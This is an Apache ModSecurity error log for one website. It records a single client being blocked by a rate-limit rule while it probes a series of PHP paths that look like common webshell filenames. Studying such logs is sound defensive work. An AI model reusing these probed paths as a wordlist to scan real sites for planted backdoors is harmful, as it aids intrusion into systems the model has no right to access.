[Thu Apr 16 03:36:56.556600 2026] [:error] [pid 54651:tid 54724] [client 20.91.140.49:60916] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "ad_o2Gr-aGmBfIUdvtU3YgAAAYg"]
[Thu Apr 16 03:36:57.662447 2026] [:error] [pid 54651:tid 54729] [client 20.91.140.49:21961] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "ad_o2Wr-aGmBfIUdvtU3ZQAAAY0"]
[Thu Apr 16 03:36:58.673373 2026] [:error] [pid 54649:tid 54694] [client 20.91.140.49:41716] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "ad_o2obAwKa2q4r1RocufgAAAUU"]
[Thu Apr 16 03:36:59.416829 2026] [:error] [pid 54651:tid 54739] [client 20.91.140.49:56240] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms.php"] [unique_id "ad_o22r-aGmBfIUdvtU3ZwAAAZc"]
[Thu Apr 16 03:37:00.797042 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:50852] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms.php"] [unique_id "ad_o3Gr-aGmBfIUdvtU3bgAAAYY"]
[Thu Apr 16 03:37:01.713416 2026] [:error] [pid 54651:tid 54733] [client 20.91.140.49:56214] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms.php"] [unique_id "ad_o3Wr-aGmBfIUdvtU3cgAAAZE"]
[Thu Apr 16 03:37:02.529867 2026] [:error] [pid 54601:tid 54619] [client 20.91.140.49:36069] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms.php"] [unique_id "ad_o3nokGsMySRrOWHLS2AAAARA"]
[Thu Apr 16 03:37:03.448939 2026] [:error] [pid 53371:tid 53479] [client 20.91.140.49:63434] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ad_o3_QHlhdn5M13lAL91AAAABY"]
[Thu Apr 16 03:37:04.350687 2026] [:error] [pid 54651:tid 54735] [client 20.91.140.49:21995] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ad_o4Gr-aGmBfIUdvtU3fQAAAZM"]
[Thu Apr 16 03:37:04.967833 2026] [:error] [pid 54651:tid 54719] [client 20.91.140.49:44061] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ad_o4Gr-aGmBfIUdvtU3fgAAAYM"]
[Thu Apr 16 03:37:06.054730 2026] [:error] [pid 54651:tid 54723] [client 20.91.140.49:48218] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ad_o4mr-aGmBfIUdvtU3ggAAAYc"]
[Thu Apr 16 03:37:07.317099 2026] [:error] [pid 54651:tid 54717] [client 20.91.140.49:26548] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "ad_o42r-aGmBfIUdvtU3hgAAAYE"]
[Thu Apr 16 03:37:08.609477 2026] [:error] [pid 54601:tid 54614] [client 20.91.140.49:50847] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "ad_o5HokGsMySRrOWHLS3QAAAQs"]
[Thu Apr 16 03:37:09.978108 2026] [:error] [pid 53371:tid 53481] [client 20.91.140.49:29058] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bmi.php"] [unique_id "ad_o5fQHlhdn5M13lAL91gAAABg"]
[Thu Apr 16 03:37:29.889414 2026] [:error] [pid 53379:tid 53568] [client 20.91.140.49:60923] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "ad_o-QcGfTk8pWJEtyBJoAAAAJM"]
[Thu Apr 16 03:37:30.780825 2026] [:error] [pid 54651:tid 54728] [client 20.91.140.49:48147] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "ad_o-mr-aGmBfIUdvtU3lwAAAYw"]
[Thu Apr 16 03:37:31.771246 2026] [:error] [pid 54649:tid 54699] [client 20.91.140.49:36017] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "ad_o-4bAwKa2q4r1RocuqAAAAUo"]
[Thu Apr 16 03:37:32.528822 2026] [:error] [pid 53810:tid 53856] [client 20.91.140.49:62855] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/vx.php"] [unique_id "ad_o_PKZNZR3VueruyLStAAAAMY"]
[Thu Apr 16 03:37:33.083833 2026] [:error] [pid 54651:tid 54727] [client 20.91.140.49:29067] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "ad_o_Wr-aGmBfIUdvtU3oAAAAYs"]
[Thu Apr 16 03:37:33.692436 2026] [:error] [pid 54649:tid 54690] [client 20.91.140.49:42190] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "ad_o_YbAwKa2q4r1RocuqgAAAUE"]
[Thu Apr 16 03:37:34.371039 2026] [:error] [pid 53379:tid 53566] [client 20.91.140.49:35970] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "ad_o_gcGfTk8pWJEtyBJoQAAAJE"]
[Thu Apr 16 03:37:34.927428 2026] [:error] [pid 54601:tid 54619] [client 20.91.140.49:36031] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "ad_o_nokGsMySRrOWHLS5gAAARA"]
[Thu Apr 16 03:37:35.880278 2026] [:error] [pid 54649:tid 54691] [client 20.91.140.49:56763] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ad_o_4bAwKa2q4r1RocusAAAAUI"]
[Thu Apr 16 03:37:36.781167 2026] [:error] [pid 53372:tid 53536] [client 20.91.140.49:62219] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ad_pALPhhzWT6ZgixWAkYAAAAE8"]
[Thu Apr 16 03:37:37.866899 2026] [:error] [pid 54649:tid 54692] [client 20.91.140.49:54006] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ad_pAYbAwKa2q4r1RocusgAAAUM"]
[Thu Apr 16 03:37:38.882034 2026] [:error] [pid 54651:tid 54737] [client 20.91.140.49:48141] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ad_pAmr-aGmBfIUdvtU3pQAAAZU"]
[Thu Apr 16 03:37:39.626367 2026] [:error] [pid 54651:tid 54729] [client 20.91.140.49:56228] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad_pA2r-aGmBfIUdvtU3qAAAAY0"]
[Thu Apr 16 03:37:40.490615 2026] [:error] [pid 53371:tid 53460] [client 20.91.140.49:62881] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad_pBPQHlhdn5M13lAL98gAAAAQ"]
[Thu Apr 16 03:37:41.202069 2026] [:error] [pid 54651:tid 54716] [client 20.91.140.49:59131] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad_pBWr-aGmBfIUdvtU3rQAAAYA"]
[Thu Apr 16 03:37:42.164860 2026] [:error] [pid 54649:tid 54707] [client 20.91.140.49:48599] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad_pBobAwKa2q4r1RocuuQAAAVI"]
[Thu Apr 16 03:37:42.987587 2026] [:error] [pid 53371:tid 53458] [client 20.91.140.49:36000] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "ad_pBvQHlhdn5M13lAL9-QAAAAI"]
[Thu Apr 16 03:37:44.083653 2026] [:error] [pid 54651:tid 54730] [client 20.91.140.49:56745] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "ad_pCGr-aGmBfIUdvtU3sQAAAY4"]
[Thu Apr 16 03:37:44.943016 2026] [:error] [pid 53371:tid 53474] [client 20.91.140.49:62857] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "ad_pCPQHlhdn5M13lAL-AAAAABE"]
[Thu Apr 16 03:37:45.597665 2026] [:error] [pid 54651:tid 54736] [client 20.91.140.49:39077] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "ad_pCWr-aGmBfIUdvtU3tAAAAZQ"]
[Thu Apr 16 03:37:47.068357 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:51319] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index.php"] [unique_id "ad_pC2r-aGmBfIUdvtU3tgAAAYY"]
[Thu Apr 16 03:37:48.054680 2026] [:error] [pid 53371:tid 53472] [client 20.91.140.49:55943] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index.php"] [unique_id "ad_pDPQHlhdn5M13lAL-BAAAAA8"]
[Thu Apr 16 03:37:49.017426 2026] [:error] [pid 53379:tid 53567] [client 20.91.140.49:28315] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index.php"] [unique_id "ad_pDQcGfTk8pWJEtyBJsQAAAJI"]
[Thu Apr 16 03:37:50.165688 2026] [:error] [pid 53379:tid 53568] [client 20.91.140.49:59079] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/index.php"] [unique_id "ad_pDgcGfTk8pWJEtyBJtAAAAJM"]
[Thu Apr 16 03:37:51.422660 2026] [:error] [pid 54649:tid 54690] [client 20.91.140.49:52278] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ad_pD4bAwKa2q4r1RocuvQAAAUE"]
[Thu Apr 16 03:37:52.837609 2026] [:error] [pid 53372:tid 53534] [client 20.91.140.49:62224] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ad_pELPhhzWT6ZgixWAkbgAAAE0"]
[Thu Apr 16 03:37:54.070440 2026] [:error] [pid 54651:tid 54722] [client 20.91.140.49:59087] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ad_pEmr-aGmBfIUdvtU3wQAAAYY"]
[Thu Apr 16 03:37:54.970277 2026] [:error] [pid 54651:tid 54735] [client 20.91.140.49:26514] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ad_pEmr-aGmBfIUdvtU3wwAAAZM"]
[Thu Apr 16 03:37:56.069668 2026] [:error] [pid 54651:tid 54728] [client 20.91.140.49:6543] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "ad_pFGr-aGmBfIUdvtU3xAAAAYw"]
[Thu Apr 16 03:37:57.003058 2026] [:error] [pid 54601:tid 54625] [client 20.91.140.49:55950] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "ad_pFXokGsMySRrOWHLS8QAAARY"]
[Thu Apr 16 03:37:57.763602 2026] [:error] [pid 53379:tid 53563] [client 20.91.140.49:60878] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "ad_pFQcGfTk8pWJEtyBJvQAAAI4"]
[Thu Apr 16 03:37:58.464792 2026] [:error] [pid 54649:tid 54704] [client 20.91.140.49:52240] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "ad_pFobAwKa2q4r1RocuwwAAAU8"]
[Thu Apr 16 03:37:59.112549 2026] [:error] [pid 54601:tid 54626] [client 20.91.140.49:39695] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ad_pF3okGsMySRrOWHLS9AAAARc"]
[Thu Apr 16 03:38:00.906904 2026] [:error] [pid 54651:tid 54723] [client 20.91.140.49:21998] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ad_pGGr-aGmBfIUdvtU3ygAAAYc"]
[Thu Apr 16 03:38:01.658325 2026] [:error] [pid 53371:tid 53477] [client 20.91.140.49:6556] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ad_pGfQHlhdn5M13lAL-CAAAABQ"]
[Thu Apr 16 03:38:02.988395 2026] [:error] [pid 54651:tid 54738] [client 20.91.140.49:50878] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "ad_pGmr-aGmBfIUdvtU3zwAAAZY"]
[Thu Apr 16 03:38:03.722733 2026] [:error] [pid 54651:tid 54736] [client 20.91.140.49:50843] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "ad_pG2r-aGmBfIUdvtU30QAAAZQ"]
[Thu Apr 16 03:38:04.986335 2026] [:error] [pid 54649:tid 54693] [client 20.91.140.49:6707] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "ad_pHIbAwKa2q4r1RocuygAAAUQ"]
[Thu Apr 16 03:38:05.580321 2026] [:error] [pid 54651:tid 54735] [client 20.91.140.49:41722] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "ad_pHWr-aGmBfIUdvtU30wAAAZM"]
[Thu Apr 16 03:38:06.833985 2026] [:error] [pid 54651:tid 54740] [client 20.91.140.49:24273] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "ad_pHmr-aGmBfIUdvtU31wAAAZg"]
[Thu Apr 16 03:38:08.210601 2026] [:error] [pid 53372:tid 53529] [client 20.91.140.49:47574] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ad_pILPhhzWT6ZgixWAkdgAAAEg"]
[Thu Apr 16 03:38:09.408850 2026] [:error] [pid 53379:tid 53556] [client 20.91.140.49:6674] [client 20.91.140.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ad_pIQcGfTk8pWJEtyBJwQAAAIc"]
